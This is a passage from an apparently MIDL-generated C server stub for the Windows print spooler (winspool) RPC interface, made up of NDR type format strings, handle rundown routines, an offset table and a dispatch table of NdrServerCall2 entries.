*/\n\t\t\t0x0,\t\t/* 0 */\n/* 1878 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1880 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1882 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1884 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1886 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1888 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1892 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1896 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1898 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1900 */\tNdrFcShort( 0x94 ),\t/* Offset= 148 (2048) */\n/* 1902 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1904 */\t0x0,\t\t/* Corr desc:  field,  */\n\t\t\t0x5d,\t\t/* FC_EXPR */\n/* 1906 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1908 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1910 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1912 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1916 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1920 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1922) */\n/* 1922 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1924 */\tNdrFcShort( 0x4 ),\t/* 4 */\n/* 1926 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1930 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (1952) */\n/* 1932 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1936 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (1970) */\n/* 1938 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1942 */\tNdrFcShort( 0x3a ),\t/* Offset= 58 (2000) */\n/* 1944 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 1948 */\tNdrFcShort( 0x4a ),\t/* Offset= 74 (2022) */\n/* 1950 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1949) */\n/* 1952 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1954 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1956) */\n/* 1956 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1958 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1962 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1966) */\n/* 1964 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1966 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1968 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1970 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1972 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1974) */\n/* 1974 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1976 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1978 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1980 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (1988) */\n/* 1982 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1984 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1986 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1988 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1990 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1992 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1994 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1996 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1998 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2000 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2002 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2004) */\n/* 2004 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2006 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2008 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2010 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2018) */\n/* 2012 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2014 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2016 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2018 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2020 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2022 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2024 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2026) */\n/* 2026 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2028 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2030 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2032 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2040) */\n/* 2034 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2036 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2038 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2040 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2042 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2044 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2046 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2048 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2050 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2052 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2054 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2054) */\n/* 2056 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2058 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2060 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (1902) */\n/* 2062 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2064 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2066 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2068) */\n/* 2068 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2070 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2072 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2074 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2080) */\n/* 2076 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2078 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2080 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2082 */\tNdrFcShort( 0xf80e ),\t/* Offset= -2034 (48) */\n/* 2084 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 2086 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2090 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 2094 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2096 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2098) */\n/* 2098 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2100 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2102 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2104 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2106 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 2108 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 2110 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2114 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 2118 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2120 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2122 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (2208) */\n/* 2124 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2126 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2128 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2130 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 2132 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2134 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2136 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2140 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2144 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2146 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2148 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2150 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2152 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (2162) */\n/* 2154 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2156 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2158 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2160 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2162 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2164 */\tNdrFcShort( 0xffd8 ),\t/* Offset= -40 (2124) */\n/* 2166 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 2168 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2170 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2172 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2174 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2176 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2178 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2182 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2186 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 2190 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2192 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2194 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2198 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2202 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2204 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (2146) */\n/* 2206 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2208 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2210 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 2212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2214 */\tNdrFcShort( 0x8 ),\t/* Offset= 8 (2222) */\n/* 2216 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2218 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2220 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2222 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2224 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (2166) */\n/* 2226 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2228 */\tNdrFcShort( 0x7c ),\t/* Offset= 124 (2352) */\n/* 2230 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2232 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2234 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 2236 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2238 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2240 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2244 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2248 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2250) */\n/* 2250 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2252 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 2254 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 2258 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2274) */\n/* 2260 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 2264 */\tNdrFcShort( 0x28 ),\t/* Offset= 40 (2304) */\n/* 2266 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 2270 */\tNdrFcShort( 0x30 ),\t/* Offset= 48 (2318) */\n/* 2272 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2271) */\n/* 2274 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2276 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2278) */\n/* 2278 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2280 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2282 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2284 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2296) */\n/* 2286 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2288 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2290 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2292 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2294 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2296 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2298 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2300 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2302 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2304 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2306 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2308) */\n/* 2308 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2310 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2312 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2314 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2314) */\n/* 2316 */\t0xb8,\t\t/* FC_INT3264 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2318 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2320 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2322) */\n/* 2322 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 2324 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 2326 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2328 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (2344) */\n/* 2330 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2332 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2334 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x6,\t\t/* FC_SHORT */\n/* 2340 */\t0x3e,\t\t/* FC_STRUCTPAD2 */\n\t\t\t0xb,\t\t/* FC_HYPER */\n/* 2342 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2344 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2346 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2348 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2350 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2352 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2354 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2356 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2358 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2358) */\n/* 2360 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2362 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2364 */\tNdrFcShort( 0xff7a ),\t/* Offset= -134 (2230) */\n/* 2366 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2368 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2370 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2372) */\n/* 2372 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2374 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2376 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 2378 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 2380 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2382 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2384 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2388 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2392 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2394 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2396 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2398) */\n/* 2398 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 2400 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 2402 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2404 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 2406 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2408 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2410 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2414 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2418 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2420 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2422 */\tNdrFcShort( 0xf824 ),\t/* Offset= -2012 (410) */\n/* 2424 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2426 */\tNdrFcShort( 0xf9bc ),\t/* Offset= -1604 (822) */\n/* 2428 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2430 */\tNdrFcShort( 0xfc74 ),\t/* Offset= -908 (1522) */\n/* 2432 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 2434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2436 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2438 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2440) */\n/* 2440 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2442 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2444 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2446 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 2448 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2450 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2460 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2462 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 2464 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2466) */\n/* 2466 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2468 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 2470 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2472 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 2474 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 2476 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2478 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2482 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2486 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2488 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 2490 */\t0x2,\t\t/* 2 */\n\t\t\t0x0,\t\t/* 0 */\n/* 2492 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 2494 */\t0xb9,\t\t/* FC_UINT3264 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const ms2Drprn_MIDL_EXPR_FORMAT_STRING ms2Drprn__MIDL_ExprFormatString =\n    {\n        0,\n        {\n\t\t\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0x1b,\t\t/* OP_AND */\n/*  2 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/*  4 */\t0x1,\t\t/* FC_EXPR_CONST32 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcLong( 0xffffff ),\t/* 16777215 */\n/* 12 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 14 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const NDR_RUNDOWN RundownRoutines[] = \n    {\n    PRINTER_HANDLE_rundown\n    ,GDI_HANDLE_rundown\n    ,0\n    };\n\n\nstatic const unsigned short ms2Drprn__MIDL_ExprFormatStringOffsetTable[] =\n{\n0,\n};\n\nstatic const NDR_EXPR_DESC  ms2Drprn_ExprDesc = \n {\nms2Drprn__MIDL_ExprFormatStringOffsetTable,\nms2Drprn__MIDL_ExprFormatString.Format\n};\n\nstatic const unsigned short winspool_FormatStringOffsetTable[] =\n    {\n    0,\n    80,\n    148,\n    210,\n    284,\n    370,\n    438,\n    482,\n    550,\n    618,\n    668,\n    748,\n    822,\n    896,\n    952,\n    1014,\n    1094,\n    1168,\n    1224,\n    1268,\n    1330,\n    1374,\n    1418,\n    1480,\n    1524,\n    1592,\n    1642,\n    1716,\n    1784,\n    1840,\n    1884,\n    1934,\n    1984,\n    2058,\n    2114,\n    2188,\n    2262,\n    2336,\n    2366,\n    2396,\n    2452,\n    2508,\n    2582,\n    2626,\n    2656,\n    2686,\n    2716,\n    2766,\n    2822,\n    2878,\n    2908,\n    2938,\n    3018,\n    3074,\n    3172,\n    3202,\n    3232,\n    3276,\n    3306,\n    3380,\n    3442,\n    3486,\n    3548,\n    3628,\n    3658,\n    3688,\n    3762,\n    3836,\n    3898,\n    3928,\n    4002,\n    4076,\n    4132,\n    4224,\n    4274,\n    4304,\n    4334,\n    4364,\n    4438,\n    4518,\n    4592,\n    4660,\n    4716,\n    4766,\n    4796,\n    4864,\n    4926,\n    4976,\n    5044,\n    5130,\n    5186,\n    5216,\n    5246,\n    5276,\n    5306,\n    5336,\n    5366,\n    5434,\n    5496,\n    5526,\n    5556,\n    5586,\n    5616,\n    5690,\n    5720,\n    5800,\n    5830,\n    5860,\n    5890,\n    5920,\n    5950,\n    6012,\n    6068,\n    6124,\n    6186,\n    6228,\n    6278\n    };\n\n\nstatic const RPC_DISPATCH_FUNCTION winspool_table[] =\n    {\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    